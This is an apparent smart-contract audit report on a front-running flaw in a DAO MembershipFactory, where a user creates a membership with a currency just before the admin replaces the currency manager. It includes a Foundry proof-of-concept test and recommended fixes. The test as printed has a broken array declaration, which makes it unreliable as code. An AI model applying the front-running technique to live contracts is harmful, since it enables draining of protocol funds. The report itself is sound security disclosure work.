Summary
According to the protocol, only the person with the admin role is allowed to set or update the currency manager. Updating the currency manager enables the whitelisting or blacklisting of new or existing tokens/currencies. While this mechanism appears sound, users can exploit a vulnerability in the MembershipFactory::createNewDAOMembership function to create DAO memberships using tokens that have been blacklisted or previously whitelisted.
Vulnerability in MembershipFactory::createNewDAOMembership:
function createNewDAOMembership(DAOInputConfig calldata daoConfig, TierConfig[] calldata tierConfigs)
external
returns (address)
{
@> require(currencyManager.isCurrencyWhitelisted(daoConfig.currency), "Currency not accepted.");
require(daoConfig.noOfTiers == tierConfigs.length, "Invalid tier input.");
require(daoConfig.noOfTiers > 0 && daoConfig.noOfTiers <= TIER_MAX, "Invalid tier count.");
require(getENSAddress[daoConfig.ensname] == address(0), "DAO already exist.");
if (daoConfig.daoType == DAOType.SPONSORED) {
require(daoConfig.noOfTiers == TIER_MAX, "Invalid tier count for sponsored.");
}
uint256 totalMembers = 0;
for (uint256 i = 0; i < tierConfigs.length; i++) {
totalMembers += tierConfigs[i].amount;
}
require(totalMembers <= daoConfig.maxMembers, "Sum of tier amounts exceeds maxMembers.");
TransparentUpgradeableProxy proxy = new TransparentUpgradeableProxy(
membershipImplementation,
address(proxyAdmin),
abi.encodeWithSignature(
"initialize(string,string,string,address,address)",
daoConfig.ensname,
"OWP",
baseURI,
_msgSender(),
daoConfig.currency
)
);
DAOConfig storage dao = daos[address(proxy)];
dao.ensname = daoConfig.ensname;
dao.daoType = daoConfig.daoType;
dao.currency = daoConfig.currency;
dao.maxMembers = daoConfig.maxMembers;
dao.noOfTiers = daoConfig.noOfTiers;
for (uint256 i = 0; i < tierConfigs.length; i++) {
require(tierConfigs[i].minted == 0, "Invalid tier config");
dao.tiers.push(tierConfigs[i]);
}
getENSAddress[daoConfig.ensname] = address(proxy);
userCreatedDAOs[_msgSender()][daoConfig.ensname] = address(proxy);
emit MembershipDAONFTCreated(daoConfig.ensname, address(proxy), dao);
return address(proxy);
}
When the MembershipFactory admin role holder decides to update the currency manager with newly whitelisted tokens, there is a risk of front-running. For instance, a malicious actor (e.g., Alice) could sniff the transaction in the mempool and act quickly before the update is mined. Alice could use her tokens to create a DAO membership with a currency that the admin was planning to blacklist, thereby bypassing the update.
Example Scenario
The admin may wish to update the currency manager for various reasons:
A new bug is discovered in the currently whitelisted tokens.
The admin decides to change the currency terms or type of currency.
Any other reason, such as administrative discretion.
However, the protocol currently lacks a mechanism to prevent users from creating DAO memberships using previously whitelisted currencies before the update is applied.
Missing Mechanism in MembershipFactory::setCurrencyManager:
function setCurrencyManager(address newCurrencyManager) external onlyRole(DEFAULT_ADMIN_ROLE) {
require(newCurrencyManager != address(0), "Invalid address");
@>
currencyManager = ICurrencyManager(newCurrencyManager);
}
Upon further consideration, it becomes clear that if a bug is discovered in one of the whitelisted currencies—one that could potentially drain the protocol's funds—the protocol has no way to stop the exploit. Users who are aware of the vulnerability can continue to create DAO memberships with the problematic currency, and there is no way to retroactively rectify or update the memberships once they are created.
Impactful Code in MembershipFactory::createNewDAOMembership:
DAOConfig storage dao = daos[address(proxy)];
dao.ensname = daoConfig.ensname;
dao.daoType = daoConfig.daoType;
@> dao.currency = daoConfig.currency;
dao.maxMembers = daoConfig.maxMembers;
dao.noOfTiers = daoConfig.noOfTiers;
Impactful Code in MembershipFactory::updateDAOMembership:
function updateDAOMembership(string calldata ensName, TierConfig[] memory tierConfigs)
external
onlyRole(EXTERNAL_CALLER)
returns (address)
{
@>
address daoAddress = getENSAddress[ensName];
require(tierConfigs.length <= TIER_MAX, "Invalid tier count.");
require(tierConfigs.length > 0, "Invalid tier count.");
require(daoAddress != address(0), "DAO does not exist.");
DAOConfig storage dao = daos[daoAddress];
if (dao.daoType == DAOType.SPONSORED) {
require(tierConfigs.length == TIER_MAX, "Invalid tier count.");
}
uint256 maxMembers = 0;
for (uint256 i = 0; i < tierConfigs.length; i++) {
if (i < dao.tiers.length) {
tierConfigs[i].minted = dao.tiers[i].minted;
}
}
delete dao.tiers;
for (uint256 i = 0; i < tierConfigs.length; i++) {
dao.tiers.push(tierConfigs[i]);
maxMembers += tierConfigs[i].amount;
}
if (maxMembers > dao.maxMembers) {
dao.maxMembers = maxMembers;
}
dao.noOfTiers = tierConfigs.length;
return daoAddress;
}
Vulnerability Details
PoC to front-run the MembershipFactory::createNewDAOMembership...
The following test case proves the existence of this vulnerability by simulating the behavior in code:
Convert the project to a Foundry-based structure.
Install all necessary dependencies.
Configure remappings as required.
Create a test file MembershipERC1155Test.sol in the test folder.
Add the following code to MembershipERC1155Test.sol:
pragma solidity 0.8.22;
import {Test, console} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MembershipERC1155} from "../src/dao/tokens/MembershipERC1155.sol";
import {MembershipFactory} from "../src/dao/MembershipFactory.sol";
import {CurrencyManager} from "../src/dao/CurrencyManager.sol";
import {TierConfig, DAOConfig, DAOInputConfig, DAOType} from "../src/dao/libraries/MembershipDAOStructs.sol";
import {CurrencyMock} from "./mock/CurrencyMock.sol";
import {OWPWalletMock} from "./mock/OWPWalletMock.sol";
contract MembershipERC1155Test is Test {
CurrencyMock currency;
address CREATOR = makeAddr("CREATOR");
address CURRENCY_MANAGER_ADMIN = makeAddr("CURRENCY_MANAGER_ADMIN");
address membershipDAOCreatorAndJoiner = makeAddr("membershipDAOCreatorAndJoiner");
address MEMBERSHIP_FACTORY_ADMIN_AND_EXTERNAL_CALLER = makeAddr("MEMBERSHIP_FACTORY_ADMIN_AND_EXTERNAL_CALLER");
address OWP_FACTORY_AND_DEFAULT_ADMIN = makeAddr("OWP_FACTORY_AND_DEFAULT_ADMIN");
string BASE_URI = "https://one-world.com/uri/";
CurrencyManager currencyManager;
OWPWalletMock owpWalletMock;
MembershipFactory membershipFactory;
MembershipERC1155 membershipTokenImpl;
function setUp() public {
currency = new CurrencyMock();
vm.startPrank(CURRENCY_MANAGER_ADMIN);
currencyManager = new CurrencyManager();
currencyManager.addCurrency(address(currency));
vm.stopPrank();
vm.startPrank(OWP_FACTORY_AND_DEFAULT_ADMIN);
membershipTokenImpl = new MembershipERC1155();
vm.stopPrank();
owpWalletMock = new OWPWalletMock();
vm.startPrank(MEMBERSHIP_FACTORY_ADMIN_AND_EXTERNAL_CALLER);
membershipFactory = new MembershipFactory(
address(currencyManager), address(owpWalletMock), BASE_URI, address(membershipTokenImpl)
);
vm.stopPrank();
}
function testUsersCanFrontRunTheProtocolToCreateMembershipWithPreviouslyWhitelistedCurrencies() public {
CurrencyMock newCurrency = new CurrencyMock();
vm.startPrank(CURRENCY_MANAGER_ADMIN);
CurrencyManager newCurrencyManager = new CurrencyManager();
newCurrencyManager.addCurrency(address(newCurrency));
vm.stopPrank();
address alice = makeAddr("ALICE");
TierConfig memory tierConf_one = TierConfig({amount: 10, price: 100, power: 2, minted: 0});
TierConfig memory tierConf_two = TierConfig({amount: 10, price: 200, power: 2, minted: 0});
TierConfig memory tierConf_six = TierConfig({amount: 10, price: 1000, power: 2, minted: 0});
TierConfig[] memory tiersArr = new TierConfig[]();
tiersArr[0] = tierConf_one;
tiersArr[1] = tierConf_two;
tiersArr[2] = tierConf_two;
tiersArr[3] = tierConf_two;
tiersArr[4] = tierConf_two;
tiersArr[5] = tierConf_six;
tiersArr[6] = tierConf_two;
DAOInputConfig memory daoInputConf = DAOInputConfig({
ensname: "anyENSNAME",
daoType: DAOType.SPONSORED,
currency: address(currency),
maxMembers: 100,
noOfTiers: tiersArr.length
});
vm.startPrank(alice);
membershipFactory.createNewDAOMembership(daoInputConf, tiersArr);
vm.stopPrank();
vm.startPrank(MEMBERSHIP_FACTORY_ADMIN_AND_EXTERNAL_CALLER);
membershipFactory.setCurrencyManager(address(newCurrencyManager));
vm.stopPrank();
assertEq(address(membershipFactory.currencyManager()), address(newCurrencyManager));
}
}
Create a mock directory within the test folder.
Inside the mock folder, add the files CurrencyMock.sol and OWPWalletMock.sol.
Implement the necessary mock contracts in these files to simulate the protocol’s behavior.
Open a terminal and run the following command to execute the test:
forge test --mt testUsersCanFrontRunTheProtocolToCreateMembershipWithPreviouslyWhitelistedCurrencies
Review the test logs:
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/MembershipERC1155Test.t.sol:MembershipERC1155Test
[PASS] testUsersCanFrontRunTheProtocolToCreateMembershipWithPreviouslyWhitelistedCurrencies() (gas: 2687772)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.25ms (478.90µs CPU time)
Ran 1 test suite in 6.80ms (2.25ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Conclusion
This test case successfully demonstrates the front-running vulnerability in the protocol, showing how a malicious user (in this case, Alice) could exploit the system by creating DAO memberships using tokens that the admin was about to blacklist. The vulnerability exists because there is no mechanism in place to prevent users from interacting with the protocol in such a manner, especially in cases where the currency manager is updated after a transaction has been initiated.
Impact
Front-running Exploitation: Malicious users who are aware of the upcoming currency blacklist can front-run the protocol and create DAO memberships using "blacklisted" currencies.
No Mitigation for Membership Rectification: Once a DAO membership is created with a problematic currency, there is no way to fix or update the associated data.
Financial Loss: If a bug is discovered in a whitelisted currency, users may exploit this to drain the protocol's funds.
Protocol Integrity at Risk: If an exploit occurs, the protocol could become insolvent or its functionality could be severely undermined, potentially rendering it worthless.
Tools Used
Manual review, Foundry
Recommendations
Add Currency Update Indicator: To mitigate the front-running risk, it’s recommended to implement an indicator, such as an enum or a state flag, that signals when the currency manager is in the process of being updated. This would prevent new memberships from being created during the update process.
Admin Privileges for Data Rectification: To address the issue of rectifying memberships created with whitelisted currencies that later become problematic, implement an admin function that allows the protocol to modify or invalidate DAO memberships if necessary.
By addressing these issues, the protocol’s security and integrity would be significantly enhanced, reducing the risk of malicious exploitation.
